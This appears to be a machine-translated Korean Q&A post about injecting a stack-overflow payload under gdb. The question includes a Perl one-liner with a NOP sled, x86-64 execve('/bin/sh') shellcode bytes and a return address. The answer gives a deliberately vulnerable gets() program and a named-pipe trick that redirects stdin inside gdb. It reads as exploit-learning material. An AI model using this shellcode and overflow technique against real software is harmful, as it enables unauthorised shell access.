2014-03-28 10 views
0

쉘 코드와 그 주소를 삽입해야하지만 gdb에서 프로그램을 실행 한 후에 만 ​​버퍼 주소를 감지 할 수 있습니다.gdb에 복잡한 입력을 동적으로 삽입하는 방법

입력이 복잡합니다. 내가 주소를 알았다면,이 같은 프로그램을 실행합니다 :

perl -e 'print "\x90" x 8152; 
print "\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"; 
print "\x70\xa1\x4c\xa9\xff\x7f\x00\x00"' | a.out 

첫 번째 인쇄는 NOP를하다

, 두 번째는 (64 비트 용) 쉘 코드 마지막 인쇄가 반환 주소입니다. 필자는 가독성을 높이기 위해 입력을 세 줄로 분리했습니다.

대개 나는 주소를 추측해야한다는 것을 알고 있지만,이 입력을 여러 번 실행해야합니다. 그러나 실행 후 프로그램을 실행 한 후에 어떻게 동적으로 이러한 입력을 삽입 할 수 있을지 궁금합니다.

솔루션을 찾지 만 성공하지 못했습니다. 프로그램이 실행되기 전에 리디렉션해야하므로 입력 리디렉션이 작동하지 않으므로 메모리를보고 리턴 주소가 저장되는 위치를 감지 할 수 없습니다.

나는 또한 명명 된 파이프를 시도했지만 성공하지 못했습니다.

또한 실제로 디버거에서 실행하기 전에 프로그램이 실행될 메모리에 대한 정보를 얻는 방법을 찾으려고했습니다.

모든 조언을 주시면 감사하겠습니다.

답변

0

gdb에서 명명 된 파이프를 사용하고 fd 0을 닫았다가 다시 열 때 다소 힘이들 것입니다.

#include <stdio.h> 
int func(){ 
    char buf[128]; 
    gets(buf); 
    return 0; 
} 

int main(int argc, char *argv[]){ 
     func(); 
     return 0; 
} 

우리는 GDB와 함께 열고 우리가 정보를 수집 할 몇 가지 주소에 브레이크 포인트를 설정합니다 : 지금 우리가있는 경우

$ gdb ./lol 
gdb$ br func 
Breakpoint 1 at 0x400501 
gdb$ r 
Breakpoint 1, 0x0000000000400501 in func() 
gdb$ x/x $esp 
... 

을 여기

우리가 디버깅 할 프로그램입니다 입력 문자열을 구성하고 프로그램에 입력 할 준비가되면 새 셸을 열고 명명 된 파이프를 만들고 그 안에 입력을 보냅니다.

$ mkfifo /tmp/ourpipe 
$ perl -e 'print "ABCD"x100; ' > /tmp/ourpipe 
돌아 가기 GDB에서

우리 지금 닫습니다 FD 0 (STDIN) 다음은 FD 0으로 우리의 파이프를 엽니 다

gdb$ p close(0) 
$1 = 0x0 
gdb$ p open("/tmp/ourpipe",0600) 
$2 = 0x0 

우리가 지금 계속하면, 우리의 프로그램이 파이프에서 나오는 데이터를 읽습니다 :

gdb$ c 
Continuing. 

Program received signal SIGSEGV, Segmentation fault. 

gdb$ info frame 
Stack level 0, frame at 0x7fffffffdcc8: 
rip = 0x400517 in func; saved rip 0x4443424144434241 
called by frame at 0x7fffffffdcd8 
Arglist at 0x4443424144434241, args: 
Locals at 0x4443424144434241, Previous frame's sp is 0x7fffffffdcd0 
Saved registers: 
rip at 0x7fffffffdcc8 
gdb$ x/x 0x7fffffffdcc8 
0x7fffffffdcc8: 0x44434241